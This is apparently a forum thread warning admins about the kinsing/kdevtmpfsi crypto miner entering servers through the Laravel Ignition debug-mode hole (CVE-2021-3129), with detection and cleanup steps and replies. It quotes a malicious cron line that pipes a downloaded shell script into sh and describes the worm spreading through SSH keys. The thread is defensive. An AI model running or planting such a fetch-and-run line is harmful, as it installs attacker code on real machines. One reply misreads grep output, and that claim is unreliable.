This is a notice to check your servers because **you may have a crypto miner on them.** More below
I noticed that one of the servers at work was running slowly immediately after SSHing in. There was input lag when I typed things and there was a process "kdevtmpfsi" using up all the CPU and Memory. I found through googling the process name (kdevtmpfsi) that it was a crypto miner. When I checked the Laravel logs I noticed that someone was remotely calling file\_get\_contents via ignition, which is a package to format the error message screen when debug mode is on. This is a PSA to check your servers if they are publicly facing and you have debug mode on and Laravel is less or equal to version **8.4.2**
**Resources:**
[CVE-2021-3129](http://cve.circl.lu/cve/CVE-2021-3129)
[Details](https://www.ambionics.io/blog/laravel-debug-rce)
**How to check if you are affected?**
* look for `/tmp/kdevtmpfsi` or `/tmp/kinsing`
* if `kinsing` or `kdevtmpfsi` is a process running on your system then you have been hacked
* You can check via `ps aux | grep kinsing` and `ps aux | grep kdevtmpfsi`
**How can I remove?**
* turn laravel debug mode off
* check `crontab -l` for any wget [http://someip/someshell.sh](http://someip/someshell.sh) | sh > /dev/null type stuff and remove that
* as root chmod the files to have permission 000 and kill the process named "kinsing" and "kdevtmpfsi"
* `chmod 000 /tmp/kinsing; chmod 000 /tmp/kdevtmpfsi`
* Find the process ID using above ps aux command and `kill -9 PROCESS_ID`
**Long term fix after removal**
* Update Laravel to the latest version
Isn’t 8.26 the latest?
[https://laravel-news.com/route-missing-method](https://laravel-news.com/route-missing-method)
That doesn’t sound like a vulnerability. If you have debug set to true in production you may as well just print your credentials on your home page.
At work, we turned off \`Ignition\` because it caused huge lag in response times when an exception would would occur. Even for local development, this was a pain in ass. We reverted to Symfony’s excellent error handler and haven’t looked back.
Any knowledge on if it were an issue in the 6.x branch and if so when it was fixed?
Another friendly reminder to turn off debug on production
Hey, I had this same exact issue about 6 months ago. reddit wasn’t much help. I ended up reverse engineering the whole app. This miner may have multiple infiltration methods, but mine was because I was testing webooks on a publicly exposed dev machine with xdebug and phpstorm enabled. I had IP restrictions in place but they weren’t obeyed This allowed remote code execution allowing kinsing miner to be installed. It’s not just a crypto miner there’s a few other harmless components. it spreads by reading the history file under every user on the system. If ssh keys are used it uses those keys to try to install this miner to additional network systems. It also reported some personal data back to their servers on network trace. There’s a lot of worse shit you could have been infected with. I remember getting rid of it and getting reinfected several hours later via same method, so 100% confirmed via method above. I’m not convinced this is due to laravel RCE with the CVE you referenced.
Edit for clarity: xdebug was the door for RCE
Who leaves the debug mode on? Even for staging servers, any thing that is on a server, and not your own machine, should have full security in place. Do you know how many of these .staging sites have debug on, how insecure they are? That’s some scary stuff.
So everyone is saying “don’t enable debug mode on production”, but that’s not the only issue here. The vulnerability was in the ignition package, and ignition is supposed to be a dev dependency, you shouldn’t have dev dependencies installed on your server either !
A developer error or not, this is a vulnerability. And its a vulnerability from ignitions end (which is a dev dependency)
If I have waf such as modsecurity installed & configured at the apache server… then no issue right ?
Good thing my apps run serverless!
Does this affect Laravel 6 and 7 too? And for those versions is there nothing else you can do except disable debug mode? I’m asking because of dev/test environments.
I am not a pro but I have tried these commands on many linux based os and all of them have those two process listed .
`~$ ps aux | grep kinsing`
`user 493 0.0 0.0 3356 664 pts/0 RN+ 15:31 0:00 grep –color=auto kinsing`
`~$ ps aux | grep kdevtmpfsi`
`user 504 0.0 0.0 5192 668 pts/0 SN+ 15:32 0:00 grep –color=auto kdevtmpfsi`
I have tried that on this palteform
[https://cocalc.com/projects/8bdbc2e4-6ca2-42ac-a27a-29dcc451497b/files/Welcome%20to%20CoCalc.term?session=default](https://cocalc.com/projects/8bdbc2e4-6ca2-42ac-a27a-29dcc451497b/files/Welcome%20to%20CoCalc.term?session=default)
But it has those two process running
Install logwatch and set it up to email you daily of server changes, then monitor those regularly. You’ll find all sorts of things. As always run a firewall, and if/when you find things like this and do get it removed, block the IP addresses with your firewall.
Removal of this specific item is fairly easy – remove the kinsing, kdevtmpfsi, and zzz files from /tmp – recreate with read only/root permissions to block and kill the process. If you just kill kdevtmpfsi it’ll restart unless/until you destroy the files in /tmp.
Also, check all of your cron jobs, this means /etc/cron.* and crontab -l for all users.
We had this hit a server a while back but the access point was an open redis server/port that was not locked down initially. Logwatch identified it and we took the above steps to remove.
For all the other comments like ‘oo I’m serverless’ no you’re not, there’s still a server, you just don’t access it, and you’re still vulnerable to issues like this – imagine if that miner kept your lambda process running full bore for a week – I’d hate to see that bill – ouch.
Many will use debug to resolve issues that only occur on a live server an not in dev. Being snarky and critical doesn’t help anyone in a possibly stressful situation and just shows us how much of an ass you are.
Crontab is stored inside \`/var/spool/cron/crontabs/\`, deleting that is enough, of course after deleting the malware from /tmp.
One more solution is to block the IP the shell script is coming from, so it can’t download the shell script anymore.
But, for the love of God, turn off DEBUG in production environments.
I became a victim to this and made a post on laracasts some time ago.
I simply installed laravel on a VPS and forgot about it.
I get all that about turning off debug mode etc but my answer to that is this:
Why is debug mode on by default? I didn’t turn it on.
If the software is vulnerable with debug mode on, and being as many if not most will be installing this to the big bad internet, why not have debug mode OFF by default.